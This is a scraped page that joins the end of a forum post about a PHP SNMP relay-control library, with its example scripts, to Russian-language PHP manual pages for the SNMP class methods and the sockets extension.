                continue;
            }
            $pinsStatus[$int] = false;
        }

        return $pinsStatus;
    }

}

?>

I have one module that receive SNMP request and send a command to relays. Also these are example scripts that use this lib:
Turn on script:
<?php
require_once 'snmp_lib.php';

$snmp = new snmp_lib('write');
$snmp->activate($getRelayNumber);
$snmp->closeSession();
?>

Turn off script:
<?php
require_once 'snmp_lib.php';

$snmp = new snmp_lib('write');
$snmp->deactivate($getRelayNumber);
$snmp->closeSession();
?>

Script that get all ports status:
<?php
require_once 'snmp_lib.php';

$snmp = new snmp_lib('read');
$getActive = $snmp->getAllPortsStatus();
?>


Закрывает сессию SNMP

  • « SNMP
  • SNMP::__construct »
  • PHP Manual
  • SNMP
  • Закрывает сессию SNMP

SNMP::close

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::close — Закрывает сессию SNMP

Описание

public SNMP::close(): bool

Освобождает ранее выделенный объект сессии SNMP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SNMP::close()

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
# ...
# получить, что-то сделать и т.д.
# ...
$session->close();
?>

Смотрите также

  • SNMP::__construct() - Создаёт экземпляр SNMP, представляющий сессию удалённого агента SNMP

User Contributed Notes

There are no user contributed notes for this page.


Создаёт экземпляр SNMP, представляющий сессию удалённого агента SNMP

  • « SNMP::close
  • SNMP::get »
  • PHP Manual
  • SNMP
  • Создаёт экземпляр SNMP, представляющий сессию удалённого агента SNMP

SNMP::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::__construct — Создаёт экземпляр SNMP, представляющий сессию удалённого агента SNMP

Описание

public SNMP::__construct(
int $version,
string $hostname,
string $community,
int $timeout = -1,
int $retries = -1
)

Описание функции

Список параметров

version

SNMP protocol version:
SNMP::VERSION_1,
SNMP::VERSION_2C,
SNMP::VERSION_3.

hostname

Агент SNMP. hostname может иметь суффикс с необязательным портом агента SNMP после двоеточия. Адреса IPv6 должны быть заключены в квадратные скобки, если используются с портом. Если для hostname используется полное доменное имя, оно будет обработано библиотекой php-snmp, а не механизмом Net-SNMP. Использование IPv6-адресов при указании полного доменного имени может быть принудительно заключено в квадратные скобки. Вот несколько примеров:

IPv4 с портом по умолчанию | 127.0.0.1
IPv6 с портом по умолчанию | ::1 or [::1]
IPv4 с конкретным портом | 127.0.0.1:1161
IPv6 с конкретным портом | [::1]:1161
FQDN с портом по умолчанию | host.domain
FQDN с конкретным портом | host.domain:1161
FQDN с портом по умолчанию, принудительное использование IPv6-адреса | [host.domain]
FQDN с конкретным портом, принудительное использование IPv6-адреса | [host.domain]:1161

community

Назначение community зависит от версии SNMP:

SNMP::VERSION_1 | SNMP community
SNMP::VERSION_2C | SNMP community
SNMP::VERSION_3 | SNMPv3 securityName
timeout

Количество микросекунд до первого времени ожидания.

retries

Количество повторных попыток в случае превышения времени ожидания.

Ошибки

SNMP::__construct() выбрасывает исключение, когда количество или типы параметров неверны или указана неизвестная версия протокола SNMP.

Примеры

Пример #1 Получение sysLocation

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$sysdescr = $session->get("sysDescr.0");
echo "$sysdescr\n";
?>

Результатом выполнения данного примера будет что-то подобное:

STRING: Test server

Смотрите также

  • SNMP::close() - Закрывает сессию SNMP

User Contributed Notes

There are no user contributed notes for this page.


Получает объект SNMP

  • « SNMP::__construct
  • SNMP::getErrno »
  • PHP Manual
  • SNMP
  • Получает объект SNMP

SNMP::get

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::get — Получает объект SNMP

Описание

public SNMP::get(array|string $objectId, bool $preserveKeys = false): mixed

Получает объект SNMP, указанный в objectId, с помощью запроса GET.

Список параметров

Если objectId является строкой, то SNMP::get() вернёт объект SNMP в виде строки. Если objectId является массивом, все запрошенные объекты SNMP будут возвращены как ассоциативный массив идентификаторов объектов SNMP и их значений.

objectId

Объект SNMP (OID) или объекты

preserveKeys

Когда objectId является массивом и для параметра preserveKeys установлено значение true ключи в результатах будут взяты точно так же, как в objectId, в противном случае свойство SNMP::oid_output_format используется для определения формы ключей.

Возвращаемые значения

Возвращает запрошенные объекты SNMP в виде строки или массива в зависимости от типа objectId или false в случае возникновения ошибки.

Ошибки

Данный метод по умолчанию не генерирует исключения. Чтобы включить генерацию исключения SNMPException при возникновении некоторых ошибок данной библиотеки, необходимо установить параметр exceptions_enabled класса SNMP в соответствующее значение. Подробнее смотрите в объяснении параметра SNMP::$exceptions_enabled.

Примеры

Пример #1 Одиночный объект SNMP

Одиночный объект SNMP может быть запрошен двумя способами: как строковое возвращаемое строковое значение или как одноэлементный массив с ассоциативным массивом в качестве вывода.

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$sysdescr = $session->get("sysDescr.0");
echo "$sysdescr\n";
$sysdescr = $session->get(array("sysDescr.0"));
print_r($sysdescr);
?>

Результатом выполнения данного примера будет что-то подобное:

STRING: Test server
Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
)

Пример #2 Множественные объекты SNMP

$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$results = $session->get(array("sysDescr.0", "sysName.0"));
print_r($results);
$session->close();

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysName.0] => STRING: myhost.nodomain
)

Смотрите также

  • SNMP::getErrno() - Получает код последней ошибки
  • SNMP::getError() - Получает последнее сообщение об ошибке

User Contributed Notes

There are no user contributed notes for this page.


Получает код последней ошибки

  • « SNMP::get
  • SNMP::getError »
  • PHP Manual
  • SNMP
  • Получает код последней ошибки

SNMP::getErrno

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::getErrno — Получает код последней ошибки

Описание

public SNMP::getErrno(): int

Возвращает код ошибки из последнего запроса SNMP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает одно из значений кода ошибки SNMP, описанных в главе о константах.

Примеры

Пример #1 Пример использования SNMP::getErrno()

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getErrno() == SNMP::ERRNO_TIMEOUT);
?>

Результат выполнения данного примера:

bool(false)
bool(true)

Смотрите также

  • SNMP::getError() - Получает последнее сообщение об ошибке

User Contributed Notes

There are no user contributed notes for this page.


Получает последнее сообщение об ошибке

  • « SNMP::getErrno
  • SNMP::getnext »
  • PHP Manual
  • SNMP
  • Получает последнее сообщение об ошибке

SNMP::getError

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::getError — Получает последнее сообщение об ошибке

Описание

public SNMP::getError(): string

Возвращает строку с ошибкой из последнего запроса SNMP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка, описывающая ошибку последнего запроса SNMP.

Примеры

Пример #1 Пример использования SNMP::getError()

<?php
$session = new SNMP(SNMP::VERSION_2c, '127.0.0.1', 'boguscommunity');
var_dump(@$session->get('.1.3.6.1.2.1.1.1.0'));
var_dump($session->getError());
?>

Результат выполнения данного примера:

bool(false)
string(26) "No response from 127.0.0.1"

Смотрите также

  • SNMP::getErrno() - Получает код последней ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получить объект SNMP, который следует за данным идентификатором объекта

  • « SNMP::getError
  • SNMP::set »
  • PHP Manual
  • SNMP
  • Получить объект SNMP, который следует за данным идентификатором объекта

SNMP::getnext

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::getnext — Получить объект SNMP, который следует за данным идентификатором объекта

Описание

public SNMP::getnext(array|string $objectId): mixed

Получите объект SNMP, следующий за указанным objectId.

Список параметров

Если objectId является строкой, тогда SNMP::getnext() вернёт объект SNMP в виде строки. Если objectId является массивом, все запрошенные объекты SNMP будут возвращены как ассоциативный массив идентификаторов объектов SNMP и их значений.

objectId

Объект SNMP (OID) или объекты

Возвращаемые значения

Возвращает запрошенные объекты SNMP в виде строки или массива в зависимости от типа objectId или false в случае возникновения ошибки.

Ошибки

Данный метод по умолчанию не генерирует исключения. Чтобы включить генерацию исключения SNMPException при возникновении некоторых ошибок данной библиотеки, необходимо установить параметр exceptions_enabled класса SNMP в соответствующее значение. Подробнее смотрите в объяснении параметра SNMP::$exceptions_enabled.

Примеры

Пример #1 Одиночный объект SNMP

Одиночный объект SNMP может быть запрошен двумя способами: как строковое возвращаемое строковое значение или как одноэлементный массив с ассоциативным массивом в качестве вывода.

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$nsysdescr = $session->getnext("sysDescr.0");
echo "$nsysdescr\n";
$nsysdescr = $session->getnext(array("sysDescr.0"));
print_r($nsysdescr);
?>

Результатом выполнения данного примера будет что-то подобное:

OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
)

Пример #2 Множественные объекты SNMP

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$results = $session->getnext(array("sysDescr.0", "sysName.0"));
print_r($results);
$session->close();
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [SNMPv2-MIB::sysLocation.0] => STRING: Nowhere
)

Смотрите также

  • SNMP::getErrno() - Получает код последней ошибки
  • SNMP::getError() - Получает последнее сообщение об ошибке

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение объекта SNMP

  • « SNMP::getnext
  • SNMP::setSecurity »
  • PHP Manual
  • SNMP
  • Устанавливает значение объекта SNMP

SNMP::set

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::set — Устанавливает значение объекта SNMP

Описание

public SNMP::set(array|string $objectId, array|string $type, array|string $value): bool

Запрашивает удалённый агент SNMP, устанавливающий значение одного или нескольких объектов SNMP, указанных в objectId.

Список параметров

Если objectId - это строка (string), оба type и value также должны быть строками (string). Если objectId - массив (array), value должен быть массивом равного размера, содержащим соответствующие значения, type может быть либо строкой (string) (это значение будет использоваться для всех пар objectId-value) или массив равного размера с каждым значением OID. Когда используются комбинации любых других параметров, может отображаться ряд сообщений E_WARNING с подробным описанием.

objectId

Идентификатор объекта SNMP

Когда количество OID в массиве object_id больше, чем max_oids, метод набора свойств объекта должен будет использовать несколько запросов для выполнения запрошенных обновлений значений. В этом случае проверки типа и значения выполняются для каждого фрагмента, поэтому второй или последующие запросы могут завершиться ошибкой из-за неправильного типа или значения запрошенного OID. Чтобы сообщить об этом, появляется предупреждение, когда количество OID в массиве object_id превышает max_oids.

type

MIB указывает тип идентификатора каждого объекта. Он должен быть указан в виде одного символа из следующего списка.

types
= Тип, принимаемый MIB
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

Если при компиляции библиотеки SNMP была определена опция OPAQUE_SPECIAL_TYPES, то также могут быть использованы следующие типы:

types
U | unsigned int64
I | signed int64
F | float
D | double

Большинство этих значений используют очевидный тип ASN.1. 's', 'x', 'd' и 'b' — это все разные способы указания значения OCTET STRING, а беззнаковый тип 'u' также используется для обработки значений Gauge32.

Если MIB-файлы были загружены в MIB-дерево с помощью "snmp_read_mib" или были указаны в конфигурационном файле libsnmp, то для указания параметра type можно использовать нотацию '=', т.к. тип всех идентификаторов объектов будет автоматически считан из MIB.

Обратите внимание, что есть два способа установить переменную типа BITS, например, "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • С помощью типа "b" и списка битовых чисел. Не рекомендуется использовать этот метод, т.к. GET-запрос для того же OID вернёт, к примеру, 0xF8.
  • С помощью типа "x" и шестнадцатеричного числа, но без(!) обычного префикса "0x".

Подробнее смотрите в разделе с примерами.

value

Новое значение.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Данный метод по умолчанию не генерирует исключения. Чтобы включить генерацию исключения SNMPException при возникновении некоторых ошибок данной библиотеки, необходимо установить параметр exceptions_enabled класса SNMP в соответствующее значение. Подробнее смотрите в объяснении параметра SNMP::$exceptions_enabled.

Примеры

Пример #1 Установить одиночный идентификатор объекта SNMP

<?php
$session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
$session->set('SNMPv2-MIB::sysContact.0', 's', "Nobody");
?>

Пример #2 Установить несколько значений с помощью одного вызова SNMP::set()

<?php
$session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
$session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), array('s', 's'), array("Nobody", "Nowhere"));
// или
$session->set(array('SNMPv2-MIB::sysContact.0', 'SNMPv2-MIB::sysLocation.0'), 's', array("Nobody", "Nowhere"));
?>

Пример #3 Использование SNMP::set() для установки идентификатора объекта BITS SNMP

<?php
$session = new SNMP(SNMP::VERSION_2C, "127.0.0.1", "private");
$session->set('FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// или
$session->set('FOO-MIB::bar.42', 'x', 'F0');
?>

Смотрите также

  • SNMP::get() - Получает объект SNMP

User Contributed Notes

There are no user contributed notes for this page.


Настраивает связанные с безопасностью параметры сессии SNMPv3

  • « SNMP::set
  • SNMP::walk »
  • PHP Manual
  • SNMP
  • Настраивает связанные с безопасностью параметры сессии SNMPv3

SNMP::setSecurity

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::setSecurity — Настраивает связанные с безопасностью параметры сессии SNMPv3

Описание

public SNMP::setSecurity(
string $securityLevel,
string $authProtocol = "",
string $authPassphrase = "",
string $privacyProtocol = "",
string $privacyPassphrase = "",
string $contextName = "",
string $contextEngineId = ""
): bool

setSecurity настраивает связанные с безопасностью параметры сессии, используемые в протоколе SNMP версии 3

Список параметров

securityLevel

уровень безопасности (noAuthNoPriv|authNoPriv|authPriv)

authProtocol

протокол аутентификации (MD5 или SHA)

authPassphrase

пароль аутентификации

privacyProtocol

протокол конфиденциальности (DES или AES)

privacyPassphrase

пароль конфиденциальности

contextName

имя контекста

contextEngineId

контекст EngineID

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SNMP::setSecurity()

<?php
$session = new SNMP(SNMP::VERSION_3, $hostname, $rwuser, $timeout, $retries);
$session->setSecurity('authPriv', 'MD5', $auth_pass, 'AES', $priv_pass, '', 'aeeeff');
?>

Смотрите также

  • SNMP::__construct() - Создаёт экземпляр SNMP, представляющий сессию удалённого агента SNMP

User Contributed Notes

There are no user contributed notes for this page.


Получает поддерево объекта SNMP

  • « SNMP::setSecurity
  • SNMPException »
  • PHP Manual
  • SNMP
  • Получает поддерево объекта SNMP

SNMP::walk

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SNMP::walk — Получает поддерево объекта SNMP

Описание

public SNMP::walk(
array|string $objectId,
bool $suffixAsKey = false,
int $maxRepetitions = -1,
int $nonRepeaters = -1
): array|false

SNMP::walk() используется для чтения поддерева SNMP с корнем в указанном objectId.

Список параметров

objectId

Корень извлекаемого поддерева

suffixAsKey

По умолчанию для ключей в выходном массиве используется полная нотация OID. Если установлено значение true, префикс поддерева будет удалён из ключей, останется только суффикс object_id.

nonRepeaters

Определяет количество предоставленных переменных, которые не следует повторять. По умолчанию используется значение из объекта SNMP.

maxRepetitions

Определяет максимальное количество итераций по повторяющимся переменным. По умолчанию используется значение из объекта SNMP.

Возвращаемые значения

Возвращает ассоциативный массив идентификаторов объектов SNMP и их значений в случае успешного выполнения или false в случае возникновения ошибки. Когда возникает ошибка SNMP, SNMP::getErrno() и SNMP::getError() могут использоваться для получения номера ошибки (специфично для модуля SNMP, смотрите константы класса) и сообщение об ошибке соответственно.

Ошибки

Данный метод по умолчанию не генерирует исключения. Чтобы включить генерацию исключения SNMPException при возникновении некоторых ошибок данной библиотеки, необходимо установить параметр exceptions_enabled класса SNMP в соответствующее значение. Подробнее смотрите в объяснении параметра SNMP::$exceptions_enabled.

Примеры

Пример #1 Пример использования SNMP::walk()

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$fulltree = $session->walk(".");
print_r($fulltree);
$session->close();
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [SNMPv2-MIB::sysDescr.0] => STRING: Test server
    [SNMPv2-MIB::sysObjectID.0] => OID: NET-SNMP-MIB::netSnmpAgentOIDs.8
    [DISMAN-EVENT-MIB::sysUpTimeInstance] => Timeticks: (1150681750) 133 days, 4:20:17.50
    [SNMPv2-MIB::sysContact.0] => STRING: Nobody
    [SNMPv2-MIB::sysName.0] => STRING: server.localdomain
    ...
)

Пример #2 Пример использования suffixAsKey

suffixAsKey может использоваться при объединении нескольких поддеревьев SNMP в одно. В этом примере имена интерфейсов сопоставляются с их типом.

<?php
$session = new SNMP(SNMP::VERSION_1, "127.0.0.1", "public");
$session->valueretrieval = SNMP_VALUE_PLAIN;
$ifDescr = $session->walk(".1.3.6.1.2.1.2.2.1.2", TRUE);
$session->valueretrieval = SNMP_VALUE_LIBRARY;
$ifType = $session->walk(".1.3.6.1.2.1.2.2.1.3", TRUE);
print_r($ifDescr);
print_r($ifType);
$result = array();
foreach($ifDescr as $i => $n) {
$result[$n] = $ifType[$i];
}
print_r($result);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [1] => igb0
    [2] => igb1
    [3] => ipfw0
    [4] => lo0
    [5] => lagg0
)
Array
(
    [1] => INTEGER: ieee8023adLag(161)
    [2] => INTEGER: ieee8023adLag(161)
    [3] => INTEGER: ethernetCsmacd(6)
    [4] => INTEGER: softwareLoopback(24)
    [5] => INTEGER: ethernetCsmacd(6)
)
Array
(
    [igb0] => INTEGER: ieee8023adLag(161)
    [igb1] => INTEGER: ieee8023adLag(161)
    [ipfw0] => INTEGER: ethernetCsmacd(6)
    [lo0] => INTEGER: softwareLoopback(24)
    [lagg0] => INTEGER: ethernetCsmacd(6)
)

Смотрите также

  • SNMP::getErrno() - Получает код последней ошибки
  • SNMP::getError() - Получает последнее сообщение об ошибке

User Contributed Notes

There are no user contributed notes for this page.


Класс SNMPException

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

Введение

Представляет класс исключения, выбрасываемого SNMP. Вы не должны выбрасывать исключения SNMPException самостоятельно. Более подробно об исключениях в PHP читайте в разделе Исключения.

Обзор классов

class SNMPException extends RuntimeException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

code

Код ошибки библиотеки SNMP. Для его извлечения используйте Exception::getCode().

User Contributed Notes

There are no user contributed notes for this page.


Сокеты

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Ошибки сокетов
  • Функции сокета
    • socket_accept — Принимает соединение на сокете
    • socket_addrinfo_bind — Создать и привязать к сокету из указанного addrinfo
    • socket_addrinfo_connect — Создать и подключиться к сокету из указанного addrinfo
    • socket_addrinfo_explain — Получить информацию о addrinfo
    • socket_addrinfo_lookup — Получить массив с содержимым getaddrinfo про указанное имя хоста
    • socket_atmark — Determines whether socket is at out-of-band mark
    • socket_bind — Привязывает имя к сокету
    • socket_clear_error — Очищает ошибку на сокете или последний код ошибки
    • socket_close — Закрывает экземпляр Socket
    • socket_cmsg_space — Вычислить размер буфера сообщения
    • socket_connect — Начинает соединение с сокетом
    • socket_create_listen — Открывает сокет на указанном порту для принятия соединений
    • socket_create_pair — Создаёт пару неразличимых сокетов и сохраняет их в массиве
    • socket_create — Создаёт сокет (конечную точку для обмена информацией)
    • socket_export_stream — Экспортировать сокет в поток, инкапсулирующий сокет
    • socket_get_option — Получает опции потока для сокета
    • socket_getopt — Псевдоним socket_get_option
    • socket_getpeername — Запрашивает удалённую сторону указанного сокета, в результате может быть возвращён хост/порт или путь в файловой системе Unix, в зависимости от типа сокета
    • socket_getsockname — Запрашивает локальную сторону указанного сокета, в результате можно получить хост/порт или путь в файловой системе Unix, в зависимости от типа сокета
    • socket_import_stream — Импортировать поток
    • socket_last_error — Возвращает последнюю ошибку на сокете
    • socket_listen — Прослушивает входящие соединения на сокете
    • socket_read — Читает строку максимальную длину байт из сокета
    • socket_recv — Получает данные из подсоединённого сокета
    • socket_recvfrom — Получает данные из сокета, независимо от того, подсоединён он или нет
    • socket_recvmsg — Прочитать сообщение
    • socket_select — Запускает системный вызов select() для заданных массивов сокетов с указанным временем ожидания
    • socket_send — Отправляет данные в подсоединённый сокет
    • socket_sendmsg — Отправить сообщение
    • socket_sendto — Отправляет сообщение в сокет, независимо от того, подсоединён он или нет
    • socket_set_block — Устанавливает блокирующий режим на сокете
    • socket_set_nonblock — Устанавливает неблокирующий режим для файлового дескриптора fd
    • socket_set_option — Устанавливает опции для сокета
    • socket_setopt — Псевдоним socket_set_option
    • socket_shutdown — Завершает работу сокета на получение и/или отправку данных
    • socket_strerror — Возвращает строку, описывающую ошибку сокета
    • socket_write — Запись в сокет
    • socket_wsaprotocol_info_export — Экспорт структуры WSAPROTOCOL_INFO
    • socket_wsaprotocol_info_import — Импортирует сокет из другого процесса
    • socket_wsaprotocol_info_release — Высвобождает экспортированную структуру WSAPROTOCOL_INFO
  • Socket — Класс Socket
  • AddressInfo — Класс AddressInfo

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль socket реализует низкоуровневый интерфейс для функций связи сокетов, основанными на популярных сокетах BSD, обеспечивая возможность действовать как сервер сокетов, так и клиент.

Для более общего клиентского интерфейса сокетов смотрите
stream_socket_client(),
stream_socket_server(),
fsockopen() и
pfsockopen().

При использовании этих функций, важно помнить, что хотя многие из них имеют имена, похожие на их аналоги в C, они часто имеют другой интерфейс использования. Пожалуйста, прочитайте их описания для того, чтобы избежать путаницы.

Незнакомые с программированием сокетов могут найти много полезной информации в соответствующих man-страницах Unix, также в Интернете есть много обучающей информации по программированию сокетов на C, большая часть из которой может быть применена с небольшими изменениями к программированию сокетов на PHP. Хорошим началом может быть » FAQ по Unix-сокетам.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Сокетные функции, описанные здесь, являются частью модуля PHP, который может быть включён во время компиляции при помощи указания опции --enable-sockets команде configure.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

До PHP 8.0.0,
socket_accept(), socket_import_stream(),
socket_addrinfo_connect(), socket_addrinfo_bind(),
socket_create_listen(), socket_wsaprotocol_info_import() и
socket_create() возвращали ресурсы сокетов.

До PHP 8.0, socket_addrinfo_lookup() возвращала массив ресурсов AddressInfo.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

AF_UNIX (int)
AF_INET (int)
AF_INET6 (int)
Константа доступна, только если PHP скомпилирован с поддержкой IPv6.
AF_DIVERT (int)
Константа доступна с PHP 8.3.0 (только на FreeBSD)
SOCK_STREAM (int)
SOCK_DGRAM (int)
SOCK_RAW (int)
SOCK_SEQPACKET (int)
SOCK_RDM (int)
MSG_OOB (int)
MSG_WAITALL (int)
MSG_PEEK (int)
MSG_DONTROUTE (int)
MSG_EOR (int)
Константа недоступна на Windows-платформах.
MSG_EOF (int)
Константа недоступна на Windows-платформах.
MSG_ZEROCOPY (int)
Константа доступна с PHP 8.2.0.
SO_DEBUG (int)
SO_REUSEADDR (int)
SO_REUSEPORT (int)
Эта константа доступна только на платформах, которые поддерживают опцию SO_REUSEPORT сокета: сюда входят Linux, macOS и *BSD, но не входит Windows.
SO_KEEPALIVE (int)
SO_DONTROUTE (int)
SO_LINGER (int)
SO_BROADCAST (int)
SO_OOBINLINE (int)
SO_SNDBUF (int)
SO_RCVBUF (int)
SO_SNDLOWAT (int)
SO_RCVLOWAT (int)
SO_SNDTIMEO (int)
SO_RCVTIMEO (int)
SO_TYPE (int)
SO_ERROR (int)
SO_ZEROCOPY (int)
Константа доступна с PHP 8.2.0.
TCP_NODELAY (int)
Константа используется для отключения TCP-алгоритма Нагла.
TCP_KEEPCNT (int)
Константа доступна с PHP 8.2.0.
TCP_KEEPIDLE (int)
Константа доступна с PHP 8.2.0.
TCP_KEEPINTVL (int)
Константа доступна с PHP 8.2.0.
TCP_KEEPALIVE (int)
Константа доступна с PHP 8.2.0.
TCP_NOTSENT_LOWAT (int)
Константа доступна с PHP 8.2.0.
SO_MARK (int)
Константа доступна с PHP 8.1.0
SO_USER_COOKIE (int)
Константа доступна с PHP 8.1.0
SO_RTABLE (int)
Константа доступна с PHP 8.2.0.
SO_ACCEPTFILTER (int)
Константа доступна с PHP 8.1.0
SO_DONTTRUNC (int)
Константа доступна с PHP 8.1.0
SO_WANTMORE (int)
Константа доступна с PHP 8.1.0
SO_INCOMING_CPU (int)
Константа доступна с PHP 8.2.0.
SO_MEMINFO (int)
Константа доступна с PHP 8.2.0.
SO_BPF_EXTENSIONS (int)
Константа доступна, начиная с PHP 8.2.0.
SO_SETFIB (int)
Константа доступна, начиная с PHP 8.2.0.
SO_ATTACH_REUSEPORT_CBPF (int)
Константа доступна с PHP 8.3.0 (только на Linux)
SO_DETACH_BPF (int)
Константа доступна с PHP 8.3.0 (только на Linux)
SO_DETACH_FILTER (int)
Константа доступна с PHP 8.3.0 (только на Linux)
SO_RERROR (int)
Константа доступна с PHP 8.3.0 (только на NetBSD)
SO_ZEROIZE (int)
Константа доступна с PHP 8.3.0 (только на OpenBSD)
SO_SPLICE (int)
Константа доступна с PHP 8.3.0 (только на OpenBSD)
SO_REUSEPORT_LB (int)
Константа доступна с PHP 8.3.0 (только на FreeBSD)
SOL_FILTER (int)
Константа доступна, начиная с PHP 8.2.0.
SOL_UDPLITE (int)
Константа доступна с PHP 8.3.0
UDPLITE_RECV_CSCOV (int)
Константа доступна с PHP 8.3.0
UDPLITE_SEND_CSCOV (int)
Константа доступна с PHP 8.3.0
TCP_DEFER_ACCEPT (int)
Константа доступна с PHP 8.1.0
TCP_CONGESTION (int)
Константа доступна, начиная с PHP 8.2.0.
TCP_QUICKACK (int)
Константа доступна с PHP 8.3.0 (только на Linux)
TCP_REPAIR (int)
Константа доступна с PHP 8.3.0 (только на Linux)
IP_DONTFRAG (int)
Константа доступна с PHP 8.3.0 (только на FreeBSD)
IP_MTU_DISCOVER (int)
Константа доступна с PHP 8.3.0 (только на Linux)
IP_PMTUDISC_DO (int)
Константа доступна с PHP 8.3.0 (только на Linux)
IP_PMTUDISC_DONT (int)
Константа доступна с PHP 8.3.0 (только на Linux)
IP_PMTUDISC_WANT (int)
Константа доступна с PHP 8.3.0 (только на Linux)
IP_PMTUDISC_PROBE (int)
Константа доступна с PHP 8.3.0 (только на Linux)
IP_PMTUDISC_INTERFACE (int)
Константа доступна с PHP 8.3.0 (только на Linux)
IP_PMTUDISC_OMIT (int)
Константа доступна с PHP 8.3.0 (только на Linux)
IP_BIND_ADDRESS_NO_PORT (int)
Константа доступна с PHP 8.3.0 (только на Linux)
SOL_SOCKET (int)
PHP_NORMAL_READ (int)
PHP_BINARY_READ (int)
SOL_TCP (int)
SOL_UDP (int)

Следующие константы определены только в Windows и Unix-подобных системах. Каждая константа определена только, если её эквивалент доступен в системе.

SOCKET_EINTR (int)
Прерванный системный вызов.
SOCKET_EBADF (int)
Неверный номер дескриптора файла.
SOCKET_EACCES (int)
Доступ запрещён.
SOCKET_EFAULT (int)
Неверный адрес.
SOCKET_EINVAL (int)
Неверный аргумент.
SOCKET_EMFILE (int)
Слишком много открытых файлов.
SOCKET_ENAMETOOLONG (int)
Слишком длинное имя файла.
SOCKET_ENOTEMPTY (int)
Каталог не пуст.
SOCKET_ELOOP (int)
Обнаружено слишком много символических ссылок.
SOCKET_EWOULDBLOCK (int)
Операция будет блокирована.
SOCKET_EREMOTE (int)
Объект является удалённым.
SOCKET_EUSERS (int)
Слишком много пользователей.
SOCKET_ENOTSOCK (int)
Socket operation on non-socket.
SOCKET_EDESTADDRREQ (int)
Destination address required.
SOCKET_EMSGSIZE (int)
Сообщение слишком длинное.
SOCKET_EPROTOTYPE (int)
Protocol wrong type for socket.
SOCKET_EPROTONOSUPPORT (int)
Протокол не поддерживается.
SOCKET_ESOCKTNOSUPPORT (int)
Тип сокета не поддерживается.
SOCKET_EOPNOTSUPP (int)
Операция не поддерживается на конечной точке транспорта.
SOCKET_EPFNOSUPPORT (int)
Семейство протоколов не поддерживается.
SOCKET_EAFNOSUPPORT (int)
Семейство адресов не поддерживается протоколом.
SOCKET_EADDRNOTAVAIL (int)
Не удаётся назначить требуемый адрес.
SOCKET_ENETDOWN (int)
Сеть не работает.
SOCKET_ENETUNREACH (int)
Сеть недоступна.
SOCKET_ENETRESET (int)
Сеть сбросила соединение из-за переустановки соединения.
SOCKET_ECONNABORTED (int)
Приложение вызвало разрыв соединения.
SOCKET_ECONNRESET (int)
Соединение сброшено узлом.
SOCKET_ENOBUFS (int)
Нет доступного буферного пространства.
SOCKET_EISCONN (int)
Конечная точка транспорта уже подсоединена.
SOCKET_ENOTCONN (int)
Конечная точка транспорта не подсоединена.
